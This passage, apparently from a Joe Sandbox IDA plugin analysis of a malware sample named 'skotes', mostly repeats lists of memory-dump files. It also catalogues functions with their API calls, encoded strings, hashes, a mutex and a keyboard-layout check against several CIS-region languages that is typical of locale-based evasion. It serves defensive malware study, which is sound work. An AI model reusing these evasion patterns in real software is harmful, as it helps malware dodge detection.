Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 56496af0fd4e6e6cbdfe0fc47b34a8f6eb1d58004326955dfc0130c808ec3163
Instruction ID: 173d6680a03a44fb34fcc74bebcd0223119e6e8f641994e2fc1456898f72680c
Opcode Fuzzy Hash: 56496af0fd4e6e6cbdfe0fc47b34a8f6eb1d58004326955dfc0130c808ec3163
Instruction Fuzzy Hash: 1CB1C0719002689BDF24DB64CC84BDEB7BAAF05340F4442D9F108E7691DB74AFA88F94

Function 00697D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00697ED3

Strings

JjssPV==, xrefs: 006981E2
JjssOl==, xrefs: 0069813A
JjsrQV==, xrefs: 00698092
JjsrPl==, xrefs: 0069828A

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: beb85c206dd3e3a1a1573119171d2f64509de3e55cc8fe4d8b76bc9498f44841
Instruction ID: 7affea2304d22e57025cea4810364e26f6c7be7dee0fe06007b78cd5887f28cd
Opcode Fuzzy Hash: beb85c206dd3e3a1a1573119171d2f64509de3e55cc8fe4d8b76bc9498f44841
Instruction Fuzzy Hash: 30E12870E002449BDF15BB68CC1B3AD7B67AB42720F94028CE4166B7C2DB758F918BC6

Function 006D1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D1775: CreateFileW.KERNEL32(00000000,00000000,?,006D1B65,?,?,00000000,?,006D1B65,00000000,0000000C), ref: 006D1792

__dosmaperr.LIBCMT ref: 006D1BD7
GetFileType.KERNEL32(00000000), ref: 006D1BE3
__dosmaperr.LIBCMT ref: 006D1BF6
__dosmaperr.LIBCMT ref: 006D1D9C

Strings

H, xrefs: 006D1D21

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: ef9b1c0fb60b4906c1735fd06f5fca3a6dedf76a9669aa390992b4eb616d9c0c
Instruction ID: 08b327a59d4d73a7b139725971a6e47751f813552d0347311582286318325e07
Opcode Fuzzy Hash: ef9b1c0fb60b4906c1735fd06f5fca3a6dedf76a9669aa390992b4eb616d9c0c
Instruction Fuzzy Hash: C8A10632E141486FCF199F68C951BAE3BA2DB0B320F24018EF851AF391DB759D12CB55

Function 006D26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,006E6758), ref: 006D275C

Strings

Eastern Summer Time, xrefs: 006D27FA
Xgn, xrefs: 006D2705, 006D270B
Eastern Standard Time, xrefs: 006D27CB

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgn
API String ID: 565725191-2117068305
Opcode ID: 90fcd1c4f7a137f24241bbcdbd721bfb0bc106bed6a09718417cf062001a749a
Instruction ID: 4db4e0217f8d41ac968fcd2e4ad18eab9195c06af3ca9d7cd1fc1e19b13fe7c1
Opcode Fuzzy Hash: 90fcd1c4f7a137f24241bbcdbd721bfb0bc106bed6a09718417cf062001a749a
Instruction Fuzzy Hash: CC51E372D0021AABDB20AF69CC919BA77BBEF65320B10416FF520A3391E7309E45DB54

Function 006C6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,006C6EE6), ref: 006C6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 006C7030
__dosmaperr.LIBCMT ref: 006C70C5

Part of subcall function 006C732A: __dosmaperr.LIBCMT ref: 006C735F

Strings

nl, xrefs: 006C6FCE

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nl
API String ID: 2531987475-1531707334
Opcode ID: 86f9b8ffcf67caec2989078c2a847a15e451043f2ef0d08084acfec419729484
Instruction ID: 0c34bbb39e0f941d8b8f4afc16991d4035ec435c28ceb7ac8e04d63ea61cdfdd
Opcode Fuzzy Hash: 86f9b8ffcf67caec2989078c2a847a15e451043f2ef0d08084acfec419729484
Instruction Fuzzy Hash: 16416EB5A04204ABDB24EF75DC45EBBB7FAEF89300B14442DF856D3611E630A900CF61

Function 00699BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699BA8
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
